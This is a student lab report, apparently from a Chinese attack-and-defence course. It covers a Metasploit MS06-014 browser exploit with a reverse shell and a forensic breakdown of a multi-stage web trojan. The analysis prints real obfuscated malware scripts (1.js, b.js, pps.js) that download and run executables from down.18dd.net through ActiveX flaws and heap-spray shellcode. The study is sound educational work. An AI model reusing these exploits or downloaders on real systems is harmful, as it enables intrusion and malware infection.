20253918 2025-2026-2 《网络攻防实践》第11次作业
20253918 2025-2026-2 《网络攻防实践》第11次作业
1.实践内容
Web 浏览器渗透与网页木马分析,本实践围绕浏览器安全漏洞利用、网页木马攻击链分析、攻防对抗三个核心场景展开,覆盖渗透测试、恶意代码分析、入侵检测等知识点,以下是关键环节与技术解析:
1.1Web 浏览器渗透攻击(MS06-014 漏洞利用)
实践目标
通过 Metasploit 框架利用 IE 浏览器漏洞(MS06-014)实现远程控制,理解“漏洞触发-载荷执行-会话建立”的完整攻击链。
核心知识点
| 技术点 | 原理解析 |
|---|---|
| MS06-014 漏洞 | 微软 MDAC(Microsoft Data Access Components)ActiveX 控件漏洞(CVE-2006-0003),因 ADODB.Stream对象未正确验证用户输入,攻击者可构造恶意网页触发任意代码执行。 |
| Metasploit 模块 | 使用 exploit/windows/browser/ie_createobject模块,通过网页诱导靶机访问恶意 URL,触发 ActiveX 控件漏洞。 |
| Payload(载荷) | 选择 windows/shell/reverse_tcp(反向 TCP Shell),让靶机主动向攻击机发起连接,绕过防火墙入站限制。 |
| 环境适配 | 旧漏洞需匹配老旧系统(如 Windows 2000 + IE5),新版系统(如 XP SP3 + IE8)可能因补丁修复导致漏洞无法触发(实践中曾因靶机版本过高导致会话失败)。 |
1.2 网页木马攻击场景取证分析
实践目标
分析“start.html → new09.htm → 恶意脚本 → 木马程序”的多阶段攻击链,掌握网页木马的分层加载与混淆技术。
核心知识点
| 技术点 | 原理解析 |
|---|---|
| 网页木马分层结构 | 入口页(start.html)→ 中转页(new09.htm,通过 <iframe>和 <script>加载外部资源)→ 漏洞利用脚本(1.js/b.js/pps.js)→ 木马程序(014.exe/bf.exe 等)。 |
| 资源隐藏与哈希标识 | 恶意脚本 URL 经 MD5 哈希处理后存储(如 7f60672dcd6b5e90b6772545ee219bd3),避免直接暴露真实地址,需通过哈希反查获取原始文件。 |
| 代码混淆技术 | 1. Base64 + XXTEA 加密:kl.htm用 Base64 编码后再经 XXTEA 算法加密(密钥 script),需解密后才能看到真实逻辑; 2. JS 打包混淆:b.js用 Packer 工具压缩,变量名替换为无意义字符(如 u0000),需解包还原; 3. Unicode 转义:pps.js用 %uXXXX格式编码 shellcode,需 unescape()还原为机器码。 |
| 漏洞利用链设计 | 脚本优先检测 ADODB.Stream控件(主流利用路径),失败后依次尝试暴风影音(StormPlayer)、PPS 播放器(PowerPlayerCtrl)、百度工具条(BaiduBar.Tool)等 ActiveX 控件,实现“多备用路径攻击”。 |
| 堆喷射(Heap Spray) | 通过大量分配含 NOP sled(空指令滑梯)和 shellcode 的内存块,提高 EIP(指令指针)跳转到恶意代码的概率(如 pps.js中用 %u9090填充内存)。 |
| 木马下载器行为 | 脱壳分析 bd.exe发现其为 Delphi 编写的下载器,会从 http://down.18dd.net/kl/*.exe批量下载后续恶意程序,并通过修改 Windows 服务配置实现持久化(QueryServiceConfig2A等 API)。 |
1.3 攻防对抗实践:混淆挂马与检测
实践目标
攻击方构造含双漏洞的混淆网页,防守方通过逆向分析还原攻击逻辑,理解“攻击伪装-流量检测-代码还原”的对抗过程。
核心知识点
| 技术点 | 原理解析 |
|---|---|
| 多漏洞组合利用 | 同时部署 MS06-055(VML 栈溢出漏洞)和 MS06-014(ActiveX 漏洞),覆盖不同 IE 版本环境,提高攻击成功率。 |
| URL 混淆技术 | 将真实漏洞 URL(http://192.168.200.64:8081/ms06055)转为十六进制字符串(687474703a2f2f...),嵌入 HTML 后用 JS 函数 h2s()动态解码,避免被静态扫描检测。 |
| 隐藏触发机制 | 入口页(zouyiyang20253918.html)不显示恶意内容,仅通过 <iframe>后台加载漏洞页面,用户无感知。 |
| 防守方检测思路 | 1. 查看网页源码:发现十六进制编码的 URL,通过 bytes.fromhex()还原真实地址; 2. 下载漏洞页面分析:用 curl获取 ms06055.html和 ms06014.html,识别 VML 标签(<v:fill>)和 ActiveX 对象创建代码(new ActiveXObject()); 3. 特征匹配:通过 unescape()、heap spray等关键词定位恶意逻辑。 |
1.4关键技术总结
| 类别 | 核心知识点 |
|---|---|
| 漏洞利用 | ActiveX 控件漏洞(MS06-014/055)、VML 栈溢出、堆喷射技术、反向 Shell 通信。 |
| 恶意代码分析 | 静态分析(IDA Pro 反汇编、字符串提取)、动态分析(脱壳工具)、混淆解密(Base64/XXTEA/Unicode 反转义)。 |
| 攻防对抗 | 攻击方:漏洞组合、URL 编码混淆、隐藏 iframe 触发; 防守方:流量监控、源码审计、特征还原。 |
| 安全意识 | 老旧系统(如 Windows 2000)因缺乏补丁成为高危目标;禁用不必要的 ActiveX 控件可降低攻击风险。 |
通过以上实践,可系统掌握 Web 浏览器攻击的原理、网页木马的隐蔽手段,以及攻防两端的对抗逻辑,为 Web 安全防御(如漏洞修补、恶意代码检测)提供实践基础。
2.实践过程
2.1 web浏览器渗透攻击
任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。
首先我们先清楚kali的环境,kali作为攻击机,IP地址为192.168.200.64

windows xp作为靶机的IP地址为192.168.200.66,并且用prompt zouyiyang$g改写自己的主机名称(补充说明:后期因为发现版本问题不对,所以把靶机改成了windows2000,IP地址为192.168.200.69)

两机之间使用ping 198.168.200.66来检测是否网络可以ping通,结果显示可以ping通

具体实验步骤:(有详细过程)
①选择使用Metasploit中的MS06-014渗透攻击模块,使用命令sudo su,然后进入msfconsole,最后search MS06-014

并且选择这个攻击模块,使用命令use exploit/windows/browser/ie_createobject

②选择PAYLOAD为任意远程Shell连接
使用命令show payloads先查看可选payloads
![]() |
![]() |
|---|
使用命令set payload windows/shell/reverse_tcp,设置Payload为反向Shell连接,然后完成任务

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本
使用命令set LHOST 192.168.200.64、set RHOST 192.168.199.66、show options三个命令,我们选择windows/shell/reverse_tcp作为远程Shell连接,设置攻击机和靶机的IP地址并且查看配置

使用命令exploit,当所有配置都配置完毕,开始进行攻击,可以看见会生成一个恶意的URL网址 http://192.168.200.64:8080/Nyq44HjLUtI0SKW

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL
在靶机上输入上面那行网址 http://192.168.200.64:8080/ms06014 ,查看结果

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令
首先开始攻击的时候可以看到有连接成功的提示

然后我们在输入命令 sessions -i 1,用来操控靶机进行交互会话

使用命令来控制靶机,例如命令net user、ipconfig、getuid等等(还写了一个没用的命令)

至此2.1任务成功完成。
2.2 取证分析实践—网页木马攻击场景分析
2.2.1 访问start.html
①首先你应该访问start.html,在这个文件中给出了new09.htm的地址
先用记事本模式打开start.html,在start.html里找new09.htm

发现了有两处引用,但是没有绝对路径,所以推测是在同一目录下,尝试打开new09.htm。
![]() |
![]() |
|---|
可以判断,new09.htm 本身并未直接嵌入完整的漏洞利用代码,而是借助隐藏的 iframe 加载 kl.htm,并通过 script 标签引入 1299644.js。这种结构符合网页木马常见的分层加载特征。后续结合参考资料补全 new09.htm的实际内容。该文件内容较短,核心是两条外部资源加载语句:

2.2.2 new09.htm 初步分析
②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到
http://192.168.68.253/scom/hashed/
哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。
计算这两个外部资源的MD5
输入 http://aa.18dd.net/aa/kl.htm ,得到结果32位MD5为7f60672dcd6b5e90b6772545ee219bd3

输入 http://js.users.51.la/1299644.js ,得到结果32位MD5为23180a42a2ff1192150231b44ffdf3d3

按照http://192.168.200.64/scom/hashed/+散列值的方式分别下载这两个文件,
即:
http://192.168.200.64/scom/hashed/7f60672dcd6b5e90b6772545ee219bd3
http://192.168.200.64/scom/hashed/23180a42a2ff1192150231b44ffdf3d3
(本来像按照上述方法的,但是没弄好,所以转用下面这个方式)
在kali上使用命令ls -la | grep -E "(7f60672dcd6b5e90b6772545ee219bd3|23180a42a2ff1192150231b44ffdf3d3)",使用 grep 正则表达式过滤出两个目标文件。输出结果显示了两个文件:23180a42a2ff1192150231b44ffdf3d3和7f60672dcd6b5e90b6772545ee219bd3这两个文件

打开这两个文件

使用命令strings -a 7f60672dcd6b5e90b6772545ee219bd3 | head -n 40打开html文件
![]() |
![]() |
|---|
可以看到里面非常多的混淆代码,文件是被混淆的 JavaScript(脚本),它先 base64decode(Base64 解码),再用 xxtea_decrypt(XXTEA 解密),密钥是 script,最后用 document.write(写入网页)把解密后的内容写出来。判断该脚本使用 Base64 与 XXTEA 组合对主要内容进行了隐藏。
2.2.3 解密出网页或脚本文件
③如果解密出的地址给出的是网页或脚本文件,请继续解密。
之前的图片里t = utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
\x73\x63\x72\x69\x70\x74即为加密密钥,将该加密密钥直接在LLM里面进行转换得:

所以得到加密密钥script字符串
既然我们得到了加密密钥,那我们就将上述文件进行XXTEA解密,解密如下图所示

将 XXTEA 解密后的结果复制到 CyberChef 中,使用 Unescape string 操作对 JavaScript 十六进制转义字符进行反转义处理,再使用 JavaScript Beautify 对代码进行格式化。转换后,原本形如 \x66\x75\x6e\x63\x74\x69\x6f\x6e 的编码内容被还原为可读的 JavaScript 代码,从而提取出后续加载的 1.js、b.js、pps.js 以及 bd.cab 等二阶段资源地址。

完整输出如下所示:
在 CyberChef(网络解码工具)中对混淆脚本进行处理时,首先对变量 t 中的 Base64(基于 64 字符的编码方式)密文进行解码,随后使用 XXTEA(轻量级分组加密算法)算法进行解密,并将密钥设置为 script。完成解密后,再对输出结果中的 JavaScript escape sequence(JavaScript 转义序列)进行反转义处理,从而还原出可读的 JavaScript(脚本)代码。分析还原后的代码可知,该脚本主要用于检测目标浏览器中是否存在可被利用的 ActiveX control(ActiveX 控件),并根据检测结果动态加载不同的 exploit script(漏洞利用脚本)或 payload(载荷),最终实现对同一 Trojan program(木马程序)的下载与执行。
进一步分析解密后的 JavaScript(脚本)代码可知,该网页木马采用了按优先级执行的漏洞利用链。脚本首先尝试通过 object 标签和 CLSID BD96C556-65A3-11D0-983A-00C04FC29E36 创建 ADODB.Stream 对象。如果该对象创建成功,说明目标环境满足首选利用条件,脚本便会动态加载 http://aa.18dd.net/aa/1.js,该文件用于下载并执行 014.exe。如果 ADODB.Stream 路径不可用,脚本则进入备用检测流程,依次尝试创建 MPS.StormPlayer(暴风影音控件)、POWERPLAYER.PowerPlayerCtrl.1(PPS 播放器控件)以及 BaiduBar.Tool(百度工具栏控件)。其中,MPS.StormPlayer 创建成功时会加载 b.js,并通过 heap spray(堆喷射)方式下载 bf.exe;POWERPLAYER.PowerPlayerCtrl.1 创建成功时会加载 pps.js,利用 PPS 控件漏洞下载 pps.exe;BaiduBar.Tool 创建成功时则直接调用 DloadDS 方法下载 bd.cab,并释放出 bd.exe。由此可以看出,该恶意脚本并非单一路径攻击,而是通过多种 ActiveX control(ActiveX 控件)进行环境探测,并根据探测结果选择不同的二阶段资源,最终达到下载并执行恶意程序的目的。通过该漏洞探测页面,可以提取出四个关键二阶段恶意资源:1.js、b.js、pps.js 和 bd.cab。
2.2.4 解密出二进制程序文件
④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。
根据刚才的代码提取出
http://aa.18dd.net/aa/1.js
http://aa.18dd.net/aa/b.js
http://aa.18dd.net/aa/pps.js
http://down.18dd.net/bb/bd.cab
四个地址,然后计算出这四个的MD5的值
![]() |
![]() |
|---|---|
![]() |
![]() |
http://aa.18dd.net/aa/1.js→5d7e9058a857aa2abee820d5473c5fa4http://aa.18dd.net/aa/b.js→3870c28cc279d457746b3796a262f166http://aa.18dd.net/aa/pps.js→5f0b8bf0385314dbe0e5ec95e6abedc2http://down.18dd.net/bb/bd.cab→1c1d7b3539a617517c49eee4120783b2
上述是所有的MD5转换的值,找到这些文件

(1)首先是分析1.js

详细如下:
eval("\x76\x61\x72\x20\x75\x72\x6c\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x30\x31\x34\x2e\x65\x78\x65\x22\x3b\x74\x72\x79\x7b\x76\x61\x72\x20\x78\x6d\x6c\x3d\x61\x64\x6f\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e\x58\x4d\x4c\x48\x54\x54\x50\x22\x2c\x22\x22\x29\x3b\x78\x6d\x6c\x2e\x4f\x70\x65\x6e\x0d\x0a\x0d\x0a\x28\x22\x47\x45\x54\x22\x2c\x75\x72\x6c\x2c\x30\x29\x3b\x78\x6d\x6c\x2e\x53\x65\x6e\x64\x28\x29\x3b\x61\x73\x2e\x74\x79\x70\x65\x3d\x31\x3b\x61\x73\x2e\x6f\x70\x65\x6e\x28\x29\x3b\x61\x73\x2e\x77\x72\x69\x74\x65\x28\x78\x6d\x6c\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b\x70\x61\x74\x68\x3d\x22\x2e\x2e\x5c\x5c\x6e\x74\x75\x73\x65\x72\x2e\x63\x6f\x6d\x22\x3b\x61\x73\x2e\x73\x61\x76\x65\x74\x6f\x66\x69\x6c\x65\x28\x70\x61\x74\x68\x2c\x32\x29\x3b\x61\x73\x2e\x63\x6c\x6f\x73\x65\x0d\x0a\x0d\x0a\x28\x29\x3b\x76\x61\x72\x20\x73\x68\x65\x6c\x6c\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x53\x68\x65\x6c\x6c\x2e\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x22\x2c\x22\x22\x29\x3b\x73\x68\x65\x6c\x6c\x2e\x53\x68\x65\x6c\x6c\x45\x78\x65\x63\x75\x74\x65\x28\x22\x63\x6d\x64\x2e\x65\x78\x65\x22\x2c\x22\x2f\x63\x20\x22\x2b\x70\x61\x74\x68\x2c\x22\x22\x2c\x22\x6f\x70\x65\x6e\x22\x2c\x30\x29\x7d\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d")
解密出来如下所示:

对 1.js 进行分析后发现,该脚本本质上承担 downloader(下载器)与 launcher(启动器)的作用。代码中首先定义远程文件地址 http://down.18dd.net/bb/014.exe,随后利用 Microsoft.XMLHTTP 对象向该地址发起同步请求,下载远程 executable file(可执行文件)。下载完成后,脚本通过 ADODB.Stream 将返回的二进制内容写入本地路径 ..\ntuser.com,最后调用 Shell.Application 对象执行 cmd.exe /c ..\ntuser.com,从而在目标主机上启动该恶意程序。由此可见,1.js 的主要功能是完成远程木马文件的下载、落地保存与本地执行。
(2)其次是文件b.js

详细如下:
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('5 1=29("%10%10");5 26=20;5 14=29("%82%3"+"%81%10%83%84%87%3%86%85"+"%79%78%72%22%71%70%69%73"+"%74%77%17%76%75%88%89%103"+"%17%102%101%104%105%108%107%106"+"%100%99%93%92%25%91%68%94"+"%95%98%97%25%96%109%63%37"+"%31%39%41%40%19%42%43%45"+"%38%3%44%46%35%12%32%22"+"%33%36%34%3%19%67%61%60"+"%59%62%47%66%65%64%58%57"+"%16%24%51%50%49%24%48%16"+"%52%53%56%55%54%90%152%168"+"%167%166%165%110%170%173%12%172"+"%171%164%12%157%156%155%154%158"+"%159%162%161%160%175%185%189%188"+"%187%191%193%195%194%23%192%190"+"%186%179%178%177%176%180%181%184"+"%183%182%174%153%18%11%125%124"+"%15%123%122%126%127%130%21%129"+"%128%121%120%114%18%11%113%112"+"%111%115%116%119%118%117%21%131"+"%132%146%11%144%147%148%151%150%149%143%142%136%23%135%134%133%137%15%3");5 4=26+14.6;13(1.6<4)1+=1;28=1.30(0,4);2=1.30(0,1.6-4);13(2.6+4<138)2=2+2+28;27=141 140();139(7=0;7<169;7++)27[7]=2+14;5 8='';13(8.6<145)8+="\9\9\9\9";163.80(8)',10,196,'|bigblock|block|u0000|slackspace|var|length|x|buffer|x0a|u9090|u0041|u57ff|while|shellcode|u6578|u4320|ufb03|u7972|uc683||u6461|ud88b|u7465|u4343|u468b|headersize|memory|fillblock|unescape|substring|u008b|u5afc|u016a|u0057|u5652|ue859|uc103|u6ae8|uc303|uf78b|ufa8b|u8b0e|u6ad0|u8300|u5904|u0dc6|u5e80|u03c6|u632f|u03c7|u6643|u206a|uff53|u5c03|u04c7|uec57|u646d|u6303|ufa75|u803e|u8046|u3680|u02e1|uc7dc|u8b40|uec83|u5613|ud1c3|u1e74|u8b3c|u738b|u0840|u0378|u8bf3|u3314|u4e8b|u207e|u8bad|u1c70|rawParse|u9000|uf3e9|u5a90|ua164|u8b0c|u408b|u0030|u56ed|u5157|u2e61|u0324|ucd8b|u5e5f|u03e1|u33c1|u031c|u088b|u66c9|u59e9|ue245|u0e6a|uf28b|u3f8b|uf359|u74a6|ufcef|u835f|u5908|uc1c3|u50c0|u6e6f|u6d6c|u7275|u6172|u5500|u4c52|u6f6c|u6e77|u6f44|u6269|u4c64|u7845|u0063|u456e|u6957|u7469|u6854|u616f|u4c00|u6572|u6f54|u6946|u6662|u2f62|u622f|u6e2e|u652e|0x40000|for|Array|new|u6464|u3831|u7468|4068|u656c|u7074|u2f3a|u2e6e|u776f|u642f|uc765|u6f74|uff58|u0040|u2451|u68f0|u33d0|uacc0|u5251|uf975|uc085|storm|u5300|u3300|u0065|u7804|u0344|300|u5350|u6adc|u8bfc|u5056|u6365|u5356|u6547|u0073|u7365|u7264|u5374|u7379|u7269|u446d|u6574|ud2ff|u6441|u33ee|ue2ab|u595a|u636f|uc3c0|u7250|u0ce8|u47ff|uffff'.split('|'),0,{}))
我们直接利用kali终端给出指令:
python3 - <<'PY'
from pathlib import Path
s = Path("b_packed.js").read_text(errors="ignore")
# 只替换第一个 eval,避免真正执行解包后的恶意代码
s = s.replace("eval(function", "console.log(function", 1)
Path("b_unpack_runner.js").write_text(s)
print("[+] 已生成 b_unpack_runner.js")
PY
直接解密解密,解密出来如下所示:


通过对 b.js 进行解包与静态分析可知,该脚本采用 JavaScript Packer(JavaScript 打包混淆器)进行混淆,解包后发现其核心功能是利用 StormPlayer(暴风影音控件)漏洞执行 shellcode(机器码载荷)。脚本先使用 unescape() 构造大量 %uXXXX 编码数据,并通过 heap spray(堆喷射)技术将 shellcode 大量填充到内存中,随后调用 storm.rawParse(buffer) 触发漏洞。进一步对 shellcode 中的小端序数据进行还原后,提取出远程下载地址 http://down.18dd.net/bb/bf.exe,说明该脚本的最终目的是下载并执行 bf.exe 恶意程序。
(3)再次是文件pps.js

详细如下所示:
eval("\57\52\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\52\57\15\12\160\160\163\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\160\160\163\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\65\105\103\67\103\65\61\61\55\103\104\60\106\55\64\62\105\66\55\70\63\60\103\55\61\102\104\71\70\70\62\106\63\64\65\70\42\51\15\12\166\141\162\40\163\150\145\154\154\143\157\144\145\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\146\63\145\71\45\165\60\60\60\60\42\53\15\12\42\45\165\71\60\60\60\45\165\71\60\71\60\45\165\65\141\71\60\45\165\141\61\66\64\45\165\60\60\63\60\45\165\60\60\60\60\45\165\64\60\70\142\45\165\70\142\60\143\42\40\53\15\12\42\45\165\61\143\67\60\45\165\70\142\141\144\45\165\60\70\64\60\45\165\144\70\70\142\45\165\67\63\70\142\45\165\70\142\63\143\45\165\61\145\67\64\45\165\60\63\67\70\42\40\53\15\12\42\45\165\70\142\146\63\45\165\62\60\67\145\45\165\146\142\60\63\45\165\64\145\70\142\45\165\63\63\61\64\45\165\65\66\145\144\45\165\65\61\65\67\45\165\63\146\70\142\42\40\53\15\12\42\45\165\146\142\60\63\45\165\146\62\70\142\45\165\60\145\66\141\45\165\146\63\65\71\45\165\67\64\141\66\45\165\65\71\60\70\45\165\70\63\65\146\45\165\60\64\143\67\42\40\53\15\12\42\45\165\145\62\64\65\45\165\65\71\145\71\45\165\65\145\65\146\45\165\143\144\70\142\45\165\64\66\70\142\45\165\60\63\62\64\45\165\144\61\143\63\45\165\60\63\145\61\42\40\53\15\12\42\45\165\63\63\143\61\45\165\66\66\143\71\45\165\60\70\70\142\45\165\64\66\70\142\45\165\60\63\61\143\45\165\143\61\143\63\45\165\60\62\145\61\45\165\143\61\60\63\42\40\53\15\12\42\45\165\60\60\70\142\45\165\143\63\60\63\45\165\146\141\70\142\45\165\146\67\70\142\45\165\143\66\70\63\45\165\70\142\60\145\45\165\66\141\144\60\45\165\65\71\60\64\42\40\53\15\12\42\45\165\66\141\145\70\45\165\60\60\60\60\45\165\70\63\60\60\45\165\60\144\143\66\45\165\65\66\65\62\45\165\65\67\146\146\45\165\65\141\146\143\45\165\144\70\70\142\42\40\53\15\12\42\45\165\60\61\66\141\45\165\145\70\65\71\45\165\60\60\65\67\45\165\60\60\60\60\45\165\143\66\70\63\45\165\65\66\61\63\45\165\70\60\64\66\45\165\70\60\63\145\42\40\53\15\12\42\45\165\146\141\67\65\45\165\63\66\70\60\45\165\65\145\70\60\45\165\145\143\70\63\45\165\70\142\64\60\45\165\143\67\144\143\45\165\66\63\60\63\45\165\66\64\66\144\42\40\53\15\12\42\45\165\64\63\62\60\45\165\64\63\64\63\45\165\66\66\64\63\45\165\60\63\143\67\45\165\66\63\62\146\45\165\64\63\64\63\45\165\60\63\143\66\45\165\64\63\62\60\42\40\53\15\12\42\45\165\62\60\66\141\45\165\146\146\65\63\45\165\145\143\65\67\45\165\60\64\143\67\45\165\65\143\60\63\45\165\62\145\66\61\45\165\143\67\66\65\45\165\60\63\64\64\42\40\53\15\12\42\45\165\67\70\60\64\45\165\60\60\66\65\45\165\63\63\60\60\45\165\65\60\143\60\45\165\65\63\65\60\45\165\65\60\65\66\45\165\65\67\146\146\45\165\70\142\146\143\42\40\53\15\12\42\45\165\66\141\144\143\45\165\65\63\60\60\45\165\65\67\146\146\45\165\66\70\146\60\45\165\62\64\65\61\45\165\60\60\64\60\45\165\146\146\65\70\45\165\63\63\144\60\42\40\53\15\12\42\45\165\141\143\143\60\45\165\143\60\70\65\45\165\146\71\67\65\45\165\65\62\65\61\45\165\65\63\65\66\45\165\144\62\146\146\45\165\65\71\65\141\45\165\145\62\141\142\42\40\53\15\12\42\45\165\63\63\145\145\45\165\143\63\143\60\45\165\60\143\145\70\45\165\146\146\146\146\45\165\64\67\146\146\45\165\67\64\66\65\45\165\67\62\65\60\45\165\66\63\66\146\42\40\53\15\12\42\45\165\66\64\64\61\45\165\67\62\66\64\45\165\67\63\66\65\45\165\60\60\67\63\45\165\66\65\64\67\45\165\65\63\67\64\45\165\67\63\67\71\45\165\66\65\67\64\42\40\53\15\12\42\45\165\64\64\66\144\45\165\67\62\66\71\45\165\66\63\66\65\45\165\66\146\67\64\45\165\67\71\67\62\45\165\60\60\64\61\45\165\66\71\65\67\45\165\64\65\66\145\42\40\53\15\12\42\45\165\66\65\67\70\45\165\60\60\66\63\45\165\67\70\64\65\45\165\67\64\66\71\45\165\66\70\65\64\45\165\66\65\67\62\45\165\66\64\66\61\45\165\64\143\60\60\42\40\53\15\12\42\45\165\66\61\66\146\45\165\64\143\66\64\45\165\66\62\66\71\45\165\66\61\67\62\45\165\67\71\67\62\45\165\60\60\64\61\45\165\67\62\67\65\45\165\66\144\66\143\42\40\53\15\12\42\45\165\66\145\66\146\45\165\65\65\60\60\45\165\64\143\65\62\45\165\66\146\64\64\45\165\66\145\67\67\45\165\66\146\66\143\45\165\66\64\66\61\45\165\66\146\65\64\42\40\53\15\12\42\45\165\66\71\64\66\45\165\66\65\66\143\45\165\60\60\64\61\45\165\67\64\66\70\45\165\67\60\67\64\45\165\62\146\63\141\45\165\66\64\62\146\45\165\67\67\66\146\45\165\62\145\66\145\45\165\63\70\63\61\45\165\66\64\66\64\45\165\66\145\62\145\45\165\67\64\66\65\45\165\66\62\62\146\45\165\62\146\66\62\45\165\67\60\67\60\45\165\62\145\67\63\45\165\67\70\66\65\45\165\60\60\66\65\42\51\73\15\12\166\141\162\40\142\151\147\142\154\157\143\153\40\75\40\165\156\145\163\143\141\160\145\50\42\45\165\71\60\71\60\45\165\71\60\71\60\42\51\73\15\12\166\141\162\40\150\145\141\144\145\162\163\151\172\145\40\75\40\62\60\73\15\12\166\141\162\40\163\154\141\143\153\163\160\141\143\145\40\75\40\150\145\141\144\145\162\163\151\172\145\53\163\150\145\154\154\143\157\144\145\56\154\145\156\147\164\150\73\15\12\167\150\151\154\145\40\50\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\74\163\154\141\143\153\163\160\141\143\145\51\40\142\151\147\142\154\157\143\153\53\75\142\151\147\142\154\157\143\153\73\15\12\146\151\154\154\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\163\154\141\143\153\163\160\141\143\145\51\73\15\12\142\154\157\143\153\40\75\40\142\151\147\142\154\157\143\153\56\163\165\142\163\164\162\151\156\147\50\60\54\40\142\151\147\142\154\157\143\153\56\154\145\156\147\164\150\55\163\154\141\143\153\163\160\141\143\145\51\73\15\12\167\150\151\154\145\50\142\154\157\143\153\56\154\145\156\147\164\150\53\163\154\141\143\153\163\160\141\143\145\74\60\170\64\60\60\60\60\51\40\142\154\157\143\153\40\75\40\142\154\157\143\153\53\142\154\157\143\153\53\146\151\154\154\142\154\157\143\153\73\15\12\155\145\155\157\162\171\40\75\40\156\145\167\40\101\162\162\141\171\50\51\73\15\12\146\157\162\40\50\170\75\60\73\40\170\74\64\60\60\73\40\170\53\53\51\40\155\145\155\157\162\171\133\170\135\40\75\40\142\154\157\143\153\40\53\40\163\150\145\154\154\143\157\144\145\73\15\12\166\141\162\40\142\165\146\146\145\162\40\75\40\47\47\73\15\12\167\150\151\154\145\40\50\142\165\146\146\145\162\56\154\145\156\147\164\150\40\74\40\65\60\60\51\40\142\165\146\146\145\162\53\75\42\134\170\60\141\134\170\60\141\134\170\60\141\134\170\60\141\42\73\15\12\160\160\163\56\114\157\147\157\40\75\40\142\165\146\146\145\162\15\12")
放进解密工具进行解密:

对 pps.js 进行分析后发现,该脚本主要针对 PPS 播放器相关 ActiveX control(ActiveX 控件)进行漏洞利用。脚本首先创建对应的 ActiveX object(ActiveX 对象),并通过设置其 CLSID(类标识符)定位目标控件。随后脚本构造 shellcode(机器码载荷)变量,利用 unescape() 函数将大量 %uXXXX 格式的 Unicode escape sequence(Unicode 转义序列)还原为可执行的 x86 shellcode(x86 机器码)。该 shellcode 的主要功能包括动态解析系统 API(应用程序编程接口)地址,例如 kernel32.dll、urlmon.dll 等模块中的函数,并调用类似 URLDownloadToFileA 的下载函数从远程服务器获取恶意程序,再通过 WinExec 或 ShellExecute 等方式执行下载后的文件。
进一步查看 shellcode 末尾的字符串内容,可以发现其中嵌入了远程下载地址。将 %u6874%u7074%u3a2f%u2f64%u776f%u2e6e%u3831%u6464%u2e6e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065 等 Unicode 编码内容按小端序还原后,可得到下载地址 http://down.18dd.net/bb/pps.exe。这说明 pps.js 的最终目标是下载并执行 pps.exe 恶意程序。
